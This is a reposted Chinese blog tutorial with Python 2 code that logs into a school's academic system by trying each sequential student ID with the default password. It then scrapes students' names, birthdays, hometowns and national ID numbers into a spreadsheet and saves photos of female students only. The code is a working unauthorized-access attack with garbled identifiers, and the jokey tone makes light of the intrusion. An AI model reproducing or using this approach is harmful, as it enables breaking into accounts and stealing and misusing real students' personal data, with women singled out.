python爬取学校学生信息_使用Python爬取学校学生信息!(简单爬虫)

更新时间:2023-05-10 15:22:49 阅读: 评论:0

python爬取学校学⽣信息_使⽤Python爬取学校学⽣信息!
(简单爬⾍)
很久⽊有来写博⽂啦,发现学校的教务系统很多童鞋都⽊有修改初始密码,于是博主就想写试⽤python写⼀个爬⾍⼩脚本,将⽊有修改初始密码的童鞋资料扒下来,然后嘿嘿嘿~~~通知他们修改!
鉴于写博⽂时未通知这些受害童鞋们,因此隐去关键信息。
⾸先为初始化⽅法__init__(lf)
import urllib
import urllib2
import cookielib
import re
import xlwt
from xlrd import open_workbook
py import copy
class STUPID:
def __init__(lf):
lf.c=0#⽤于后期记录在excel中⾏数
lf.loginurl='/xxx/xxx.asp'#登陆url
lf.infurl='/xxx/xxx/show.asp' #获取信息的url
#ur-agent⽤于放在header中,伪装为浏览器
lf.ur_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36'
lf.headers={
'Ur-Agent':lf.ur_agent
}#设置头
#⽤于保存cookie
cookie = cookielib.CookieJar()
#⽤于输出nd内容,dubug时使⽤
httpHandler = urllib2.HTTPHandler(debuglevel=1)
httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
lf.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie),httpHandler, httpsHandler)
urllib2.install_opener(lf.opener)
下⾯介绍login(lf,k)⽅法
def login1(lf,k):
ur= str(123456789+k)#⽤户名为学号,为保护隐私,采⽤该输⼊,K位偏移量,这是由于学号采⽤递增⽅式排列
passwd= str(123456789+k)#初始密码等于⽤户名
#设置提交给服务器的数据
postdata= urllib.urlencode({
'ur':ur,
'pass':passwd,
'typeid':'2'})#typeid为⽤户种类
request=urllib2.Request(
url=lf.loginurl,
data = postdata,
headers=lf.headers
)
result= lf.opener.open(request)#登陆并获取返回内容
return ur#返回学号
登陆成功之后,由于cookie已存在并记录在签名定义的cookie中,因此可以直接访问信息页⾯,调⽤⽅法getInfPage(lf):def getInfPage(lf):
request=urllib2.Request(
url=lf.infurl,
headers=lf.headers
)
result= lf.opener.open(request)
ad().decode('gbk')
读取的数据为html的⽂本,因此需要使⽤正则表达式对需要的内容进⾏抓取,调⽤⽅法readInf(lf):
def readInf(lf):
page= lf.getInfPage()#page为html内容
inf=re.findall('([^
].*?).*?(.*?)',page,re.S)
return inf
按照规则匹配后数据将会存在list中并返回,此时调⽤writeinf(lf,Items,ur)⽅法讲信息写⼊excel
def writeinf(lf,Items,ur):
if Items:#若item不为空,⾏数+1
lf.c = lf.c+1
el:
#由于包⾥没有直接修改的⽅法,因此采⽤先复制再写的⽅法
rb = open_workbook("inf.xls")#打开inf.xls⽂件
wb= copy(rb)#复制内容
s= wb.get_sheet(0)#获取第⼀张表
i=0
urname =''
x= unicode('⼥', "utf-8")
for item in Items:
s.write(lf.c,0,ur)#第⼀列写⼊学号
if i<3 :
if i==0:
urname=item[1]#获取姓名,并写⼊第⼆列
if i== 1 and item[1] == x:#若为⼥⽣,获取其照⽚
lf.saveImg(ur,urname)#此为保存图⽚⽅法,在下⽂介绍print 'save'
s.write(lf.c,i+1,item[1])#第三列写⼊性别,第四列写民族
if i== 13:#
s.write(lf.c,6,item[1])#第七列写⼊毕业院校
if i== 15:
s.write(lf.c,7,item[1])#第⼋列写⼊籍贯
if i== 17:
s.write(lf.c,8,item[1])#第九列为⾝份证号
el:
if i == 4:
s.write(lf.c,4,item[0])第五列写⽣⽇
if i == 8:
s.write(lf.c,5,item[0])第六列写政治⾯貌
i= i+1
wb.save('inf.xls')#保存xsl⽂件
介绍⼀下保存图⽚的⽅法saveImg(lf,ur,urname):
def saveImg(lf,ur,urname):
imgUrl= '/xxx/xxx/'+ur+'.jpg'#图⽚url filename= 'img/'+urname+'.jpg'#⽂件以名字命名
u= urllib.urlopen(imgUrl)
data= u.read()#读取图⽚
f= open(filename,'wb')
f.write(data)#保存图⽚
f.clo #关闭
return True
最后运⾏即可
supid= STUPID()
k=1
for k in range(1,200) :
ur= supid.login(k)#由于学⽣⼈数在200以内,因此最⾼设置为200
supid.adInf(),ur)
然后就是耐⼼等待啦,时间有点长,准备再加个多线程~~~图⽚和信息我只是保存着玩哒,并不准备⽤来做羞羞的事情~⼤家也不要⼲坏事哟!
版权所有 IT知识库 CopyRight © 2009-2015 IT知识库 , All Rights Rerved.
京ICP备09083238号

本文发布于:2023-05-10 15:22:49,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/82/573266.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:内容   修改   数据   初始密码
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图